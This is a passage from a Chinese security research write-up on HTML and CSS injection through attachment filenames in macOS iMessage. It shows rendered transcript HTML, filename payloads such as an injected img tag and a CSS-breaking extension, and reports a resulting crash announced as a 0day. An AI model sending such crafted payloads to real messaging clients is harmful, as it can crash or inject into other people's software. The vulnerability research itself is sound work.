去闭合,可惜都被过滤了,这个点不行我们可以看看其他存在输入的点,于是我尝试发个附件看看解析情况,部分代码如下:1<chatitem id="p:0/FE98E898-0385-41E6-933F-8E87DB10AA7E" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="attachment" group-first-message-ignore-timestamps="yes" group-last-message-ignore-timestamps="yes"><message guid="p:0/FE98E898-0385-41E6-933F-8E87DB10AA7E" typing-indicator="no" sent="no" from-me="no" from-system="no" from="D8FAE154-6C88-4FB6-9D2D-0C234BEA8E99" emote="no" played="no" auto-reply="no" group-first-message="yes" group-last-message="yes"><buddyicon role="img" aria-label="黑哥"><div></div></buddyicon><messagetext><messagebody title="今天 23:34:41" file-transfer-element="yes" aria-label="文件传输: tttt.html"><messagetextcontainer text-direction="ltr"><transfer class="transfer" id="45B8E6BD-9826-47E2-B910-D584CE461E5F" guid="45B8E6BD-9826-47E2-B910-D584CE461E5F"><transfer-atom draggable="true" aria-label="tttt.html" id="45B8E6BD-9826-47E2-B910-D584CE461E5F" guid="45B8E6BD-9826-47E2-B910-D584CE461E5F">< img class="transfer-icon" extension="html" aria-label="文件扩展名: html" style="content: -webkit-image-set(url(transcript-resource://iconpreview/html/16) 1x, url(transcript-resource://iconpreview/html-2x/16) 2x);"><span class="transfer-text" color-important="no">tttt</span></transfer-atom><div class="transfer-button-container">< img class="transfer-button-reveal" aria-label="显示" id="filetransfer-button-45B8E6BD-9826-47E2-B910-D584CE461E5F" role="button"></div></transfer></messagetextcontainer></messagebody><message-overlay></message-overlay></messagetext><date class="compact"></date></message><spacer></spacer></chatitem>发了个tttt.html的附件,这个附件的文件名出现在代码里,或许有控制的机会。多长测试后发现过滤也比较严格,不过最终还是发现一个潜在的点,也就是文件名的扩展名部分:
1<chatitem id="p:0/D4591950-20AD-44F8-80A1-E65911DCBA22" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="attachment" group-first-message-ignore-timestamps="yes" group-last-message-ignore-timestamps="yes"><message guid="p:0/D4591950-20AD-44F8-80A1-E65911DCBA22" typing-indicator="no" sent="no" from-me="no" from-system="no" from="93D2D530-0E94-4CEB-A41E-2F21DE32715D" emote="no" played="no" auto-reply="no" group-first-message="yes" group-last-message="yes"><buddyicon role="img" aria-label="黑哥"><div></div></buddyicon><messagetext><messagebody title="今天 16:46:10" file-transfer-element="yes" aria-label="文件传输: testzzzzzzz"'><img src=1>.htm::16) 1x, (aaa\\\\\\\\\\\%0a%0d"><messagetextcontainer text-direction="ltr"><transfer class="transfer" id="A6BE6666-ADBF-4039-BF45-042D261EA458" guid="A6BE6666-ADBF-4039-BF45-042D261EA458"><transfer-atom draggable="true" aria-label="testzzzzzzz"'><img src=1>.htm::16) 1x, (aaa\\\\\\\\\\\%0a%0d" id="A6BE6666-ADBF-4039-BF45-042D261EA458" guid="A6BE6666-ADBF-4039-BF45-042D261EA458">< img class="transfer-icon" extension="htm::16) 1x, (aaa\\\\\\\\\\\%0a%0d" aria-label="文件扩展名: htm::16) 1x, (aaa\\\\\\\\\\\%0a%0d" style="content: -webkit-image-set(url(transcript-resource://iconpreview/htm::16) 1x, (aaa\\\\\\\\\\\%0a%0d/16) 1x, url(transcript-resource://iconpreview/htm::16) 1x, (aaa\\\\\\\\\\\%0a%0d-2x/16) 2x);"><span class="transfer-text" color-important="no">testzzzzzzz"'><img src=1></span></transfer-atom><div class="transfer-button-container">< img class="transfer-button-reveal" aria-label="显示" id="filetransfer-button-A6BE6666-ADBF-4039-BF45-042D261EA458" role="button"></div></transfer></messagetextcontainer></messagebody><message-overlay></message-overlay></messagetext><date class="compact"></date></message><spacer></spacer></chatitem>我们提交的附件的后缀进入了 style :
1style="content: -webkit-image-set(url(transcript-resource://iconpreview/htm::16) 1x, (aaa\\\\\\\\\\\%0a%0d/16) 1x, url(transcript-resource://iconpreview/htm::16) 1x, (aaa\\\\\\\\\\\%0a%0d-2x/16) 2x);也就是可能导致 css 注入,或许我们还有机会,不过经过测试也是有过滤处理的,比如
/
直接被转为了:
这个非常有意思 所谓“成也萧何,败也萧何”,如果你要注入css那么肯定给属性给值就得用: 但是:又不能出现在文件名里,然后我们要注入 css 里掉用远程css或者图片需要用/ 而/又被处理了变成了:不管怎么样我先注入个css测试下,于是提交了一附件名:
zzzzzz.htm) 1x);color/red;aaa/((
按推断/变为了: 如果注入成功应该是:
1style="content: -webkit-image-set(url(transcript-resource://iconpreview/htm::16) 1x);color:red;aaa:((当我提交测试发送这个附件的时候,我的 iMessage 崩溃了~~ 这里我想我发现了一个新的漏洞,于是我升级 OSX 到最新的系统重新测试结果:一个全新的 0day 诞生!
0x03 后记
当然这里还有很多地方可以测试,也有一些思路也可以去测试下,比如那个名字那里这个应该是可控制的,比如附件是保存在本地的有没有可能存在目录专挑导致写到任意目录的地方。有需求的可以继续测试下,说不定下个 0day 就是你的 :)
最后我想说的是在分析别人发现的漏洞的时候一定要找到漏洞的关键,然后总结提炼出“模型”,然后去尝试新的攻击思路或者界面!
0x04 参考链接